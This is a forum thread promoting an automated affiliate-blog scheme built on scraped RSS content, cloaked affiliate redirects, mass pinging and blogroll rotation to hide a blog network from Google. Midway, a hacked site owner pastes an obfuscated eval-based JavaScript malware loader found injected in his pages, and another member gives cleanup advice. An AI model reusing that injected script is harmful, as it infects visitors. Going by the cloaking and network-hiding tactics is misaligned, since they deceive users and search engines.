Check out my automated niche blog business model (it really works)

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This is my current business blueprint. This is something I've built up over time, and I actually really hesitate to give it away because it works so well. I've been doing this for about a year now with fair success. It really works for me, because you just set up the site once and then you hardly ever have to touch it again. It just runs itself and gets better and better over time.

Check this out and tell me what you all think:

Wordpress is the platform that everything is based on.

WP-O-Matic Plugin - this is a plugin that lets you take RSS feeds and turn them into posts automatically. More importantly, it lets you replace keywords from a list, and link them to whatever you want. This is the key to the whole game.

GoCodes Plugin - this is a plugin that lets you make neat redirects from your domain. We're using this to cloak our affiliate links.

Pick a niche, buy a domain, get WordPress and plugins set up.
Need affiliate products/links
Need keywords

Load GoCodes with affiliate links

get keyword-based RSS feeds for WP-O-Matic
- (I have a huge list of these)
- load up keywords and GoCodes URLs
- this makes all your keywords into links to your offers

submit blog RSS feed to every place possible
- (I have a huge list of these, too)
- this spreads the links to your offers all over the web

get largest ping list possible
- (I have a huge list of these, too)
- this helps to get all your content indexed, and your links crawled

Turn everything on and move on to the next blog.

What will happen is that the blog is continually building keyword targeted backlinks to your GoCode URLs, and sending keyword targeted traffic to your affiliate offers. Keep an eye on the affiliate programs, swap out non-performers with something different in the GoCodes setup. (This is another reason we're using GoCodes instead of directly using the affiliate URLs - you don't lose all the previous link-building).

Your blog domain is getting the benefit of all this backlink love so you will start to grow PR over time too. (This is yet another reason we're using GoCodes. All the backlinks you're generating link back to your own domain, giving YOU the PR benefit).

Do this over and over with new blogs in as many niches as you can manage. You'll start out making very little, but you'll be amazed at how much this kind of thing will grow over time.

Other ways I am using to make money:
AdSense and other PPC networks
Sell redirection of the GoCode links
Sell advertising space
Once the blogs get PR, sell text links
- you can get a sponsor donate plugin to make this automatic
Sell the blogs outright
Put up a squeeze on the homepage and build a niche list
- make backend offers to your list/sell ad space in your emails
Get a feed control plugin and further monetize feeds
- affiliate links/ad space sales
Replace affiliate products with your own products
-Use something like RAP to build your own affiliate team

The possibilities are endless. I'm only just scratching the surface myself.

I hope my brief description here is enough for some of you who want to try it can get all the info you need. If not, feel free to ask any questions. I'll answer as best as I can.

Hope you like it!
K.K.
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  • Profile picture of the author Jeffery
    Thank you for sharing!

    Would you mind elaborating a bit more about ..

    .. "Sell redirection of the GoCode links"

    To Your Success,

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  • Profile picture of the author Mark Brian
    Would you mind giving a hint in what I think this is the most important part of this method: "get keyword-based RSS feeds for WP-O-Matic", where can we find them?
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    • Profile picture of the author Keith Kogane
      Originally Posted by Jeffery View Post

      Thank you for sharing!

      Would you mind elaborating a bit more about ..

      .. "Sell redirection of the GoCode links"

      To Your Success,

      Jeffery 100% :-)
      Yes. When I initially set up the blog, my GoCodes all redirect to my own affiliate URLs. If one of my GoCode URLs is getting a lot of traffic, but say the affiliate URL I'm redirecting to isn't converting, then I have a few choices. I can swap it for another affiliate link... or, what I was suggesting in what you quoted is that you can approach a merchant in your niche and "rent" them your GoCode. So you would place their site as the re-direct instead of your own affiliate link. I just bill them with PayPal recurring. As long as they pay, I keep sending them the traffic. Make more sense now?

      Originally Posted by Mark Brian View Post

      Would you mind giving a hint in what I think this is the most important part of this method: "get keyword-based RSS feeds for WP-O-Matic", where can we find them?
      There's this thing called a search engine? LOL! They aren't hard to find. Google News for example. Anywhere you can specify a search with your keywords, and then get a feed of those results. Use your imagination - any news site, any social bookmarking site, any blog search site, etc.
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      • Profile picture of the author Jeffery
        Originally Posted by Keith Kogane View Post

        Yes. When I initially set up the blog, my GoCodes all redirect to my own affiliate URLs. If one of my GoCode URLs is getting a lot of traffic, but say the affiliate URL I'm redirecting to isn't converting, then I have a few choices. I can swap it for another affiliate link... or, what I was suggesting in what you quoted is that you can approach a merchant in your niche and "rent" them your GoCode. So you would place their site as the re-direct instead of your own affiliate link. I just bill them with PayPal recurring. As long as they pay, I keep sending them the traffic. Make more sense now?
        That is what I thought. I just wanted to be clear because it is another method to monetize the site. More importantly to me, the method converts what would I call "Non-Monetized Page Space" to "Monetized Page Space".. Thats Marketing! The merchant has two incentives; the merchant receives traffic from your site(s) and the merchant's site gains a backlink from your site.

        Thanks for elaborating!

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    • Profile picture of the author ztrek
      Originally Posted by Mark Brian View Post

      Would you mind giving a hint in what I think this is the most important part of this method: "get keyword-based RSS feeds for WP-O-Matic", where can we find them?
      The metthod I use to find such feeds is by simply going to google and doing a search
      "your keyword" RSS
      or use google blog search with your keywords
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      • Profile picture of the author Tim Dixon
        Originally Posted by ztrek View Post

        The method I use to find such feeds is by simply going to google and doing a search
        "your keyword" RSS
        or use google blog search with your keywords
        If you use Google Reader you can also use the search function from within GR itself which usually pulls up at least a few relevant feeds.

        Don't forget you can usually make a feed from lots of sites where there is a search functionality as well.

        Take YouTube for instance, if you go there and search on your keywords, you should be able to make a feed out of the results page using the feed buttons in your browser.

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        • Profile picture of the author Dave Earley
          Originally Posted by Tim Dixon View Post

          If you use Google Reader you can also use the search function from within GR itself which usually pulls up at least a few relevant feeds.

          Don't forget you can usually make a feed from lots of sites where there is a search functionality as well.

          Take YouTube for instance, if you go there and search on your keywords, you should be able to make a feed out of the results page using the feed buttons in your browser.

          Tim
          Good info. Tim.

          I thought about trying something like that with Yahoo, but I thought I would also get a lot of content outside of my niche.

          Might try it though. Didn't know that I could kind of create a particular feed using the search information.

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  • Profile picture of the author Alex Sol
    The post would have been helpful and of value if you cleared this up:

    get keyword-based RSS feeds for WP-O-Matic
    - (I have a huge list of these)
    - load up keywords and GoCodes URLs
    - this makes all your keywords into links to your offers

    submit blog RSS feed to every place possible
    - (I have a huge list of these, too)
    - this spreads the links to your offers all over the web

    get largest ping list possible
    - (I have a huge list of these, too)
    - this helps to get all your content indexed, and your links crawled
    ...
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    • Profile picture of the author Keith Kogane
      Originally Posted by Alex Sol View Post

      The post would have been helpful and of value if you cleared this up:



      ...
      This is kind of obnoxious. I don't really think the post isn't of value without those.

      I have a spreadsheet full of these sites that I spent a lot of time collecting. I just wanted to share my outline in case someone found it useful. I don't have to share everything, do I? Do you want to know my niches and sites too? LOL! (Hint: I'm not telling you those, either.) The method is still sound, and like I said above to a previous poster, just actually DO something yourself and search for em. They aren't hard to find. In fact, you can probably find lists of them other people have already made. In the time it took you to post that, you could have found a ton with a Google search.

      Use a little brains and spend a little effort.

      Or, you can let the fact that I didn't do all the work for you and hold your hand be an excuse for your not succeeding. It doesn't matter to me!
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      • Profile picture of the author Alex Sol
        Originally Posted by Keith Kogane View Post

        This is kind of obnoxious. I don't really think the post isn't of value without those.

        I have a spreadsheet full of these sites that I spent a lot of time collecting. I just wanted to share my outline in case someone found it useful. I don't have to share everything, do I? Do you want to know my niches and sites too? LOL! (Hint: I'm not telling you those, either.) The method is still sound, and like I said above to a previous poster, just actually DO something yourself and search for em. They aren't hard to find. In fact, you can probably find lists of them other people have already made. In the time it took you to post that, you could have found a ton with a Google search.

        Use a little brains and spend a little effort.

        Or, you can let the fact that I didn't do all the work for you and hold your hand be an excuse for your not succeeding. It doesn't matter to me!
        Don't get me wrong, it is a good method that you outlined and a lot of us warriors know about such things... But telling people "You need a list of .... and by the way I have a list of it" is an OBVIOUS way to get people sending you pm's so you could sell some kind of list or service to them

        I guess I just don't like posts where people advertise/promote some kind of method but leave out VERY important details. I really don't care what niches you're in and I am sure you would never tell - no one is asking you to.

        However, I think when you tell people to look for ... at least give one example for those that have no idea what you're talking about. For instance, when someone says: Submit your articles to an ezine directory, such as EzineArticles.com - well, when I see the ezinearticles.com at least I have an idea of what to look for.

        I guess I just don't really appreciate when people post up a method of some sort but refuse to help in any kind of way. I don't think it would kill you to give at least 1 URL from each of your lists to make it easier for us to understand what exactly we are looking for but once again, I understand that your intentions were to get people pm'ing you so you could sell them stuff - it's your right to do so.


        p.s. TO give you an example, http://www.warriorforum.com/main-internet-marketing-discussion-forum/27983-1-300-2-hours-you-can-do-too.html

        As you can see I reveal every detail, every step. Because I think if you want to share a method with someone - well you share the whole thing.
        I guess that's just my idea of sharing and helping others.
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        • Profile picture of the author Alminc
          I think Keith's post is actually very useful for anybody
          who is interested in using automated blogs to increase
          backlinks and make some money.

          There is enough free information in his post to start working
          with his method. And why not PM him for more details and
          even pay for it if you are really interested in the method?
          That's healthy approach.
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          No links :)
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        • Profile picture of the author Keith Kogane
          Originally Posted by Alex Sol View Post

          Don't get me wrong, it is a good method that you outlined and a lot of us warriors know about such things... But telling people "You need a list of .... and by the way I have a list of it" is an OBVIOUS way to get people sending you pm's so you could sell some kind of list or service to them
          That really wasn't my intent - I guess I give people here more credit to be able to figure stuff out on their own. I did, and I'm hardly smart! So whether it's "obvious" or not, it's not intentional. But even so - everything I do online is about getting paid. If you want to get my lists of ping sites, rss sites and keyword feed sites - you can pay me for them. If you want to take the time, you can find your own for free. If you want to work hard and do it yourself, you have my full method here. If you want to be lazy and just copy me, why WOULDN'T I charge for that? From what I can tell, that's the whole info-product business model. There's nothing, NOTHING that you can't find out for yourself on the internet if you know where and how to look. Any time anyone sells information, it's basically trading the customer's lack of research skills/laziness for money.

          So I guess my point is, I wasn't being commercial here, but even if I was, what's wrong with that, exactly? We're all marketers here.

          Originally Posted by Alex Sol View Post

          I guess I just don't like posts where people advertise/promote some kind of method but leave out VERY important details. I really don't care what niches you're in and I am sure you would never tell - no one is asking you to.
          Take 5 minutes right now. Go to google and search for these phrases, (which are the EXACT phrases I've used here). Ready? "Keyword based rss feeds", "submit your rss feed", and "ping list". Tell me what you find, and tell me if you still have something to complain about. I think you'll see you've wasted your breath just to stand on a soapbox and get attention instead of just doing a little "work" to get your own answers.

          Hmm. Maybe you're doing that so people will think you're their great protector, or the dissenting voice of reason and maybe build up your own reputation here. That's fine too. But if you're going to do that, it's not really fair of you to paint me as some rogue capitalist.

          Originally Posted by Alex Sol View Post

          However, I think when you tell people to look for ... at least give one example for those that have no idea what you're talking about. For instance, when someone says: Submit your articles to an ezine directory, such as EzineArticles.com - well, when I see the ezinearticles.com at least I have an idea of what to look for.
          I've answered any question anyone asked, and gave general, if not specific examples.

          Originally Posted by Alex Sol View Post

          I guess I just don't really appreciate when people post up a method of some sort but refuse to help in any kind of way. I don't think it would kill you to give at least 1 URL from each of your lists to make it easier for us to understand what exactly we are looking for but once again, I understand that your intentions were to get people pm'ing you so you could sell them stuff - it's your right to do so.
          Yes, you're right. I've refused to help in any way. That's ridiculous. What thread are you reading? You contradict yourself in the very same paragraph, by listing just ONE of the ways I've offered to help someone. Not to mention all the questions I've already answered here.

          Originally Posted by Alex Sol View Post

          p.s. TO give you an example, http://www.warriorforum.com/main-internet-marketing-discussion-forum/27983-1-300-2-hours-you-can-do-too.html

          As you can see I reveal every detail, every step. Because I think if you want to share a method with someone - well you share the whole thing.
          I guess that's just my idea of sharing and helping others.
          Congratulations and well done. Good for you.

          P.S. I think it's hilarious how you're trying to paint me as "Them" in some imagined "Us vs. Them" scenario with yourself as some kind of white knight bastion of "the way things ought to be." I hope it works out for you. There's lots of money to be made from herds of people who need every little detail spelled out. The fact is, those kinds of people will seldom do anything with any of the information they buy. They are collectors. They just want it to be complete. If I were selling something, I'd include all of that. I'd harp on it in the sales copy, too. "You don't have to do anything! I've done it all for you!" But I'm not, and I'm more focused on the people who want a method to try, not some system to buy.

          So everyone reading this, Alex would do it differently, so if you want your free methods fully spelled out and completely detailed, please go to Alex, because he does it correctly! I'm just evil and trying to sell you something (I'm not, but GOD FORBID a marketer try to sell something! The NERVE!).

          I'm sorry everyone, that I expected people to be able to use the internet at its base level and search something for themselves. I thought that skill would be a precursor to having found the WF in the first place. Or at the very least, before one would attempt to use the internet to make money.

          I could be wrong. What do *you* think?
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      • Profile picture of the author Steven Wagenheim
        Originally Posted by Keith Kogane View Post

        This is kind of obnoxious. I don't really think the post isn't of value without those.

        I have a spreadsheet full of these sites that I spent a lot of time collecting. I just wanted to share my outline in case someone found it useful. I don't have to share everything, do I? Do you want to know my niches and sites too? LOL! (Hint: I'm not telling you those, either.) The method is still sound, and like I said above to a previous poster, just actually DO something yourself and search for em. They aren't hard to find. In fact, you can probably find lists of them other people have already made. In the time it took you to post that, you could have found a ton with a Google search.

        Use a little brains and spend a little effort.

        Or, you can let the fact that I didn't do all the work for you and hold your hand be an excuse for your not succeeding. It doesn't matter to me!

        Keith, the problem is, people want things handed to them on a silver
        platter. They don't want to do the work. They want the push button
        solution.

        It's just the nature of this business, so don't let it get to you.
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  • Profile picture of the author Jeffery
    I think the post is helpful and of value. It would be "more" helpful and of value with "more" details. Helpful in any event.

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  • Profile picture of the author tomah
    Keith,

    This is really helpful. Could I pay you (or someone else) to set something like this up for me? Or to guide me step-by-step through the process?

    Setting up WordPress and installing plugins etc isn't an issue. It's turning it into an automated system.

    Thanks for this!
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    • Profile picture of the author Keith Kogane
      Originally Posted by tomah View Post

      Keith,

      This is really helpful. Could I pay you (or someone else) to set something like this up for me? Or to guide me step-by-step through the process?

      Setting up WordPress and installing plugins etc isn't an issue. It's turning it into an automated system.

      Thanks for this!
      Absolutely. PM me and we can work something out!
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      • Profile picture of the author Jeffery
        Originally Posted by Keith Kogane View Post

        Absolutely. PM me and we can work something out!
        Well, there you go
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        • Profile picture of the author tomah
          Originally Posted by Jeffery View Post

          Well, there you go
          Not sure what you're getting at Jeffery. Do you think he intended people to PM him?

          His idea is literally a 'site saver' for me, as I was about to ditch a site I couldn't be bothered with. He's helping me to automate it so it can run and potentially be a money earner for me, which I'm very glad of.

          Regards.
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          • Profile picture of the author Jeffery
            Originally Posted by tomah View Post

            Not sure what you're getting at Jeffery. Do you think he intended people to PM him?

            His idea is literally a 'site saver' for me, as I was about to ditch a site I couldn't be bothered with. He's helping me to automate it so it can run and potentially be a money earner for me, which I'm very glad of.

            Regards.
            Hi tomah,

            I was getting at "The man is helpful." You asked for help and he responded. It was a good thing.

            Jeffery 100% :-)
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          • Profile picture of the author Keith Kogane
            Originally Posted by tomah View Post

            Not sure what you're getting at Jeffery. Do you think he intended people to PM him?

            His idea is literally a 'site saver' for me, as I was about to ditch a site I couldn't be bothered with. He's helping me to automate it so it can run and potentially be a money earner for me, which I'm very glad of.

            Regards.
            It wasn't my intention to get PMs - after all, PMs are hardly an awesome way to communicate through this forum.

            For me the point is more - Alex Sol kind of takes a shit on my method and whines about what I did not include and how it was not valuable. I tell him to take a hike.

            Tomah offers to compensate me for my help and is genuinely interested in the method. Of course I'm happy to help him, because he's not being a jerk.

            No direct offense to you, Alex, but your negative/scarcity mindset is probably holding you back in other aspects of your life and business. I've seen it from you not just in this thread, but in others. Just some friendly advice from one marketer to another. Instead of looking at what's missing, look at what's there and actually do something with it.

            Anyway, don't mean to derail. Glad you guys that like my stuff said so.
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      • Profile picture of the author Junaid Gamieldien
        Thanks for sharing Keith! Your post has sparked an idea - I'll be using the core of your method to try to further boost the income of one of my already established sites.

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        • Profile picture of the author Lesley Huntley
          Originally Posted by Junaid Gamieldien View Post

          Thanks for sharing Keith! Your post has sparked an idea - I'll be using the core of your method to try to further boost the income of one of my already established sites.

          Junaid
          Dude, I'm not sure what's going on with that link in your sig, but I clicked on it and then something started downloading, it said it was a PDF, then AVG alerted me to a trojan.

          Not sure what's going on there, not cool!
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          • Profile picture of the author Junaid Gamieldien
            Originally Posted by Lesley Huntley View Post

            Dude, I'm not sure what's going on with that link in your sig, but I clicked on it and then something started downloading, it said it was a PDF, then AVG alerted me to a trojan.

            Not sure what's going on there, not cool!
            Lesley,

            Thanks for the heads up. There should be *nothing* to download from that page. I can't figure it out yet, but this may explain why I've made zero sales over the past week or so.
            I'm still digging, but there are signs that my site's been hacked. I'm running AVAST, which doesn't give me the same alert you got, so I'm installing AVG now.

            What I can't figure out is WHY someone would hack me just to put a trojan on my site.
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            • Profile picture of the author Max Ramocsai
              Here is a list of feeds to use with WP-O-Matic

              api.moreover.com/RPC2
              api.my.yahoo.co.jp/RPC2
              api.my.yahoo.com/RPC2
              audiorpc.weblogs.com/RPC2
              blog.goo.ne.jp/XMLRPC
              blogpeople.net/ping
              blogsearch.google.ae/ping/RPC2
              blogsearch.google.at/ping/RPC2
              blogsearch.google.be/ping/RPC2
              blogsearch.google.bg/ping/RPC2
              blogsearch.google.ca/ping/RPC2
              blogsearch.google.ch/ping/RPC2
              blogsearch.google.cl/ping/RPC2
              blogsearch.google.co.cr/ping/RPC2
              blogsearch.google.co.hu/ping/RPC2
              blogsearch.google.co.id/ping/RPC2
              blogsearch.google.co.il/ping/RPC2
              blogsearch.google.co.in/ping/RPC2
              blogsearch.google.co.it/ping/RPC2
              blogsearch.google.co.jp/ping/RPC2
              blogsearch.google.co.ma/ping/RPC2
              blogsearch.google.co.nz/ping/RPC2
              blogsearch.google.co.th/ping/RPC2
              blogsearch.google.co.uk/ping/RPC2
              blogsearch.google.co.ve/ping/RPC2
              blogsearch.google.co.za/ping/RPC2
              blogsearch.google.com.ar/ping/RPC2
              blogsearch.google.com.au/ping/RPC2
              blogsearch.google.com.br/ping/RPC2
              blogsearch.google.com.co/ping/RPC2
              blogsearch.google.com.do/ping/RPC2
              blogsearch.google.com.mx/ping/RPC2
              blogsearch.google.com.my/ping/RPC2
              blogsearch.google.com.pe/ping/RPC2
              blogsearch.google.com.sa/ping/RPC2
              blogsearch.google.com.sg/ping/RPC2
              blogsearch.google.com.tr/ping/RPC2
              blogsearch.google.com.tw/ping/RPC2
              blogsearch.google.com.ua/ping/RPC2
              blogsearch.google.com.uy/ping/RPC2
              blogsearch.google.com.vn/ping/RPC2
              blogsearch.google.com/ping/RPC2
              blogsearch.google.de/ping/RPC2
              blogsearch.google.es/ping/RPC2
              blogsearch.google.fi/ping/RPC2
              blogsearch.google.fr/ping/RPC2
              blogsearch.google.gr/ping/RPC2
              blogsearch.google.hr/ping/RPC2
              blogsearch.google.ie/ping/RPC2
              blogsearch.google.in/ping/RPC2
              blogsearch.google.it/ping/RPC2
              blogsearch.google.jp/ping/RPC2
              blogsearch.google.lt/ping/RPC2
              blogsearch.google.nl/ping/RPC2
              blogsearch.google.pl/ping/RPC2
              blogsearch.google.pt/ping/RPC2
              blogsearch.google.ro/ping/RPC2
              blogsearch.google.ru/ping/RPC2
              blogsearch.google.se/ping/RPC2
              blogsearch.google.sk/ping/RPC2
              blogsearch.google.tw/ping/RPC2
              blogsearch.google.us/ping/RPC2
              feedsky.com/api/RPC2
              hamo-search.com/ping.php
              holycowdude.com/rpc/ping/
              newsblog.jungleboots.org/ping.php
              ping.blogoon.net/
              ping.blogs.yandex.ru/RPC2
              ping.fc2.com/
              ping.feedburner.com/
              ping.kutsulog.net/
              ping.myblog.jp/
              ping.namaan.net/rpc
              ping.snap.com/ping/RPC2
              ping.syndic8.com/xmlrpc.php
              ping.weblogalot.com/rpc.php
              ping.wordblog.de/
              r.hatena.ne.jp/rpc
              rpc.bloggerei.de/ping/
              rpc.blogrolling.com/pinger/
              rpc.icerocket.com:10080/
              rpc.pingomatic.com
              rpc.reader.livedoor.com/ping
              rpc.technorati.com/rpc/ping
              rpc.technorati.jp/rpc/ping
              rpc.twingly.com/
              rpc.weblogs.com/RPC2
              wasalive.com/ping/
              www.blogpeople.net/servlet/weblogUpdates
              xmlrpc.blogg.de
              xping.pubsub.com/ping/
              zhuaxia.com/rpc/server.php
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            • Profile picture of the author Paul Myers
              Junaid,
              I'm still digging, but there are signs that my site's been hacked. I'm running AVAST, which doesn't give me the same alert you got, so I'm installing AVG now.

              What I can't figure out is WHY someone would hack me just to put a trojan on my site.
              To expand their network, obviously. Got nothing to do with you personally.

              Good chance you've got an old WP or phpBB installation on that site or server. If so, update it, and change the admin passwords.

              Download the whole site via FTP and look at the bottom of the pages. It's likely the code involved is there.


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              • Profile picture of the author Junaid Gamieldien
                Originally Posted by Paul Myers View Post

                Junaid,To expand their network, obviously. Got nothing to do with you personally.

                Good chance you've got an old WP or phpBB installation on that site or server. If so, update it, and change the admin passwords.

                Download the whole site via FTP and look at the bottom of the pages. It's likely the code involved is there.
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                Thanks Paul.

                It's a straight html site, but I found this in the index file, along with a foreign directory containing more directories, weird files and more php scripts with embedded javascript.

                <script language=JavaScript> function tlbnb25(z) {var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,4,3 ,57,50,60,9,5,8,37,0,0,0,0,0,0,33,16,2,13,14,29,47 ,15,46,51,55,40,20,49,12,36,59,56,52,38,34,35,39,2 5,0,22,21,0,0,0,0,10,0,19,18,43,41,1,24,23,61,17,4 2,62,30,31,32,28,7,27,58,53,54,48,45,44,26,11,6);f or(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){ { x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(146^x&255);x>>=8 ;w-=2}else{w=6 } eval(h); } }tlbnb25('9FG0tJm35zH3Iqk3@ 0xvYJG0JgqjtJm5V00h5qDF92kkSmFHsrrkR2k50mFw5G00J0j KIaFjuyjw@2l5FBckSqHQKtqF9zHQJmFh5HG0RJmFSJqcsSPJI qHk5Bl0VIFhrkh5ScGFnGG0tJ00rHyHnzjdO_rH3YcKIaFjuyx v3Yyw4YkktqHkFzjdV_ckJFmhrqkcOjjw@qkrkm0cux0k@yH0I FDj5JG0J2ycHtPkR2k50mGcsHy')</script>
                I also found similar code in the header and footer files of the template I'm using for a blog I created on a brand new domain just 2 days ago.

                They've obviously hacked the admin password for my hosting account - which I've now changed...
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                • Profile picture of the author Paul Myers
                  Junaid,
                  I also found similar code in the header and footer files of the template I'm using for a blog I created on a brand new domain just 2 days ago.

                  They've obviously hacked the admin password for my hosting account - which I've now changed...
                  Do not assume that was the attack vector. Changing that password won't hurt, but, if the blog is on the same hosting account, that may have been the weak point. Update the version of WP and change that password, too.


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        Is this stuff still on offer?
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  • Profile picture of the author Clyde Dennis
    Well I sure thank you for sharing the information you shared Keith. It's certainly worth a little probing.
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  • Profile picture of the author GeorgR.
    Keith,

    this is very solid and good advice. My question: Did you test several "auto blogger" plugins, beyond wp-o-matic? I am currently building blogs with Caffeinated Content....but i might try out the plugins/methods you mentioned.

    Could you maybe elaborate on "get keyword based RSS feeds" ?

    I actually do have a problem finding good feeds related to a niche/subject....many of the feeds listed in search engines are defunct/expired. I have a hard time finding dependable RSS feeds.

    (Or are you talking about feeds similar to yahoo news etc. where you can specify a KW for the feed? Sorry, not familair with wp-o-matic plugin)
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    • Profile picture of the author Keith Kogane
      Originally Posted by GeorgR. View Post

      Keith,

      this is very solid and good advice. My question: Did you test several "auto blogger" plugins, beyond wp-o-matic? I am currently building blogs with Caffeinated Content....but i might try out the plugins/methods you mentioned.

      Could you maybe elaborate on "get keyword based RSS feeds" ?

      I actually do have a problem finding good feeds related to a niche/subject....many of the feeds listed in search engines are defunct/expired. I have a hard time finding dependable RSS feeds.

      (Or are you talking about feeds similar to yahoo news etc. where you can specify a KW for the feed? Sorry, not familair with wp-o-matic plugin)
      I only tried a couple of others before I found WP-O-Matic. Actually when I came across it, it didn't work for me, but I happened to find it just before one of the version upgrades that switched it to use WordPress's built-in Cron rather than a server-based Cron. It just worked for what I wanted it to do, so I actually quit messing with other ones. I'm not trying to make great websites with meaty original content, rather just little niche news/aggregator sites. I like WP-O-Matic because it's free, easy to use, and just works with minimal effort on my part.

      I've experimented with doing other stuff, like using RSS Magician to consolidate feeds and remix them for uniqueness before feeding it into WP-O-Matic, but I found that to be unnecessary for getting the method to work.

      The keyword based feeds are as you say, any feed where I can specify keywords and get feeds based on that. So any news site, any social bookmarking site, any blog aggregator site. In fact, a lot of the sites you find that you can submit your own RSS feed will also offer keyword based feeds, too.

      For my model, it's not about providing lengthy content. It's about being the single stop for all things going on in a particular niche. I'm trying to make little authority sites, but the key is just getting it "good enough" and then focus on getting money from it. The site will grow on its own, traffic and backlinks will grow on their own.

      I took it really slow at first when making these, but by the time I got to my 5th or 6th one, the first one had hit that "snowball rolling down a mountain" point, where it just started growing and making more and more without me really doing anything at all.
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      • Profile picture of the author Evita
        Originally Posted by Keith Kogane View Post

        I only tried a couple of others before I found WP-O-Matic. Actually when I came across it, it didn't work for me, but I happened to find it just before one of the version upgrades that switched it to use WordPress's built-in Cron rather than a server-based Cron. It just worked for what I wanted it to do, so I actually quit messing with other ones. I'm not trying to make great websites with meaty original content, rather just little niche news/aggregator sites. I like WP-O-Matic because it's free, easy to use, and just works with minimal effort on my part.
        Does this mean that the current version of wp-o-matic won't work in the same way? I'm a techie moron so not fam. with cron

        (Got my domain, WP installed and ready to go!)

        Just few more questions, Keith...thanks for your patience...

        Will we set up permalinks to get the headline of the post as our url? As one would with any other post?

        Does wp-o-matic show the entire post or excerpt only?

        Are you familiar with RSS footer? You could actually set up one of these sites to build backlinks to another site, no? (On top of monetizing it) Just add a link to your other site in your feed Or, just use gocodes to build links to your money site...


        Phew! My poor mind is rrracing..... the possibilites here are, uhm, endless... I just gotta get over the techie stuff

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        • Profile picture of the author Keith Kogane
          Originally Posted by Evita View Post

          Does this mean that the current version of wp-o-matic won't work in the same way? I'm a techie moron so not fam. with cron
          Nah, it works fine. Even if you don't know how to set up a cron, you can get a URL from the WP-O-Matic interface and just visit it once a day and it'll update your whole blog for you. As I told someone who PMd me, it's not FULLY automated if you can't do cron, but it doesn't get any closer to automated than "click this link once a day".

          Originally Posted by Evita View Post

          Will we set up permalinks to get the headline of the post as our url? As one would with any other post?
          Yep. That's what I do. Just makes sense.

          Originally Posted by Evita View Post

          Does wp-o-matic show the entire post or excerpt only?
          It will show whatever comes across in the feeds you're using. I don't really mind if it only does an excerpt, as I mentioned, my sites aren't framing this content as original or unique. I'm making more of a "whole niche at a glance" news aggregator site, if that makes sense. So I don't care if they're excerpts or that they link away from my site.

          Originally Posted by Evita View Post

          Are you familiar with RSS footer? You could actually set up one of these sites to build backlinks to another site, no? (On top of monetizing it) Just add a link to your other site in your feed Or, just use gocodes to build links to your money site...
          Yes. Also, some of these blogs will naturally pick up a high PR just magically. I use my high PR sites and give my lower ones a backlink to pump them up. I'm worried about maybe leaving a footprint and having google think I'm a blog network (which I guess informally, I am) so I started using this other plugin, I forget the name, but it basically rotates your blogroll randomly, so it mixes things up regularly. But that's advanced. You don't need to know about that until you build your first one.

          Originally Posted by Evita View Post

          Phew! My poor mind is rrracing..... the possibilites here are, uhm, endless... I just gotta get over the techie stuff
          Don't let it intimidate you. One of the things I love about Wordpress is that it makes it easy, but for the parts of it that ARE challenging, it also helps you learn other useful things regarding internet tech stuff that will only help your marketing efforts. Also, don't let your mind racing keep you from just getting the basics done. I'd say, get 3 of these going, just using my standard method above. THEN go back and re-visit them and improve them with additional stuff.

          Hope that helps, and best of luck!
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      • Profile picture of the author Dave Earley
        Originally Posted by Keith Kogane View Post

        I only tried a couple of others before I found WP-O-Matic. Actually when I came across it, it didn't work for me, but I happened to find it just before one of the version upgrades that switched it to use WordPress's built-in Cron rather than a server-based Cron.
        The plugin that I downloaded told me to add a piece of coding to my crontab, which I found in my cpanel. Are you saying there's another one?

        Also, what kind of content is this automation producing? Are these going to be frankensteinn articles of some sort? Do you have a sample post we could view?

        Great work by the way, Keith.

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        • Profile picture of the author Tim Dixon
          Originally Posted by Dave Earley View Post

          The plugin that I downloaded told me to add a piece of coding to my crontab, which I found in my cpanel. Are you saying there's another one?

          Also, what kind of content is this automation producing? Are these going to be frankensteinn articles of some sort? Do you have a sample post we could view?

          Great work by the way, Keith.

          Dave
          It will work without using crontab as it then uses the Wordpress built-in cron function.

          As for the content that gets posted to your blog, that depends entirely on the content model you use to produce those RSS feeds.

          At the end of the day WPOM will only post what it finds in the RSS feed (unless you use the regex word replacement to change some of the content).

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          • Profile picture of the author Dave Earley
            Originally Posted by Tim Dixon View Post

            It will work without using crontab as it then uses the Wordpress built-in cron function.

            As for the content that gets posted to your blog, that depends entirely on the content model you use to produce those RSS feeds.

            At the end of the day WPOM will only post what it finds in the RSS feed (unless you use the regex word replacement to change some of the content).

            Tim
            Thanks, Tim.

            Would using the regex word replacement be a good idea? Would it make the content more unique?

            Originally Posted by Steve Porcaro

            Hi I still see some question on the Go-codes and WPOM. I made a video earlier in this thread.

            I put it in my signature for easier reference.
            Great tutorial Steve! Easy to follow and understand.

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  • Profile picture of the author Evita
    Hm. The responses to this post is an interesting study
    of the human psychology!

    Thanks Keith. A most interesting post. It is most generous of you to share and help your fellow warriors.

    I know nothing about he plugins you mentioned so now need to get educated. This model sounds VERY interesting!

    Best,

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  • Profile picture of the author GeorgR.
    uhm...i understand how gocodes works, it uses an .htacces redirect, so eg. i can specifiy go/keyword as gocode and it will be rewritten to my aff link.

    Where i am stumped is HOW on earth the "mysite/go/keyword" entries get into the feed content? Where do i edit this ?

    Say...there is a feed blah blah weight loss....no i want to make a gocode for the weightloss keyword. I am not stupid...but the gocode site and its so called "FAQ" didnt help me. I need to know how to get my aff links IN the feeds/content on the blog. Otherwise i have everything running as you explained.
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    nm..found the rewrite setting in wpomatic.
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  • Profile picture of the author GeorgR.
    well this post certainly nicely belongs with the current "clog farming" craze, i think its interesting since i could try out new plugins. Its solid and "simple".

    I am still amazed how i can actually create a good looking WP blog about WHATEVER in 3 minutes or less...in addition this blog is auto-updating AND has my affiliate links in it. The more i work with WP and the plugins, the more i like it. There is really not more to do than getting a domain, maybe also get a auto-social-bookmarking plugin..and you're good to go.

    Now i am off searching a good niche
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    • Profile picture of the author Keith Kogane
      Originally Posted by GeorgR. View Post

      uhm...i understand how gocodes works, it uses an .htacces redirect, so eg. i can specifiy go/keyword as gocode and it will be rewritten to my aff link.

      Where i am stumped is HOW on earth the "mysite/go/keyword" entries get into the feed content? Where do i edit this ?

      Say...there is a feed blah blah weight loss....no i want to make a gocode for the weightloss keyword. I am not stupid...but the gocode site and its so called "FAQ" didnt help me. I need to know how to get my aff links IN the feeds/content on the blog. Otherwise i have everything running as you explained.
      Originally Posted by GeorgR. View Post

      nm..found the rewrite setting in wpomatic.
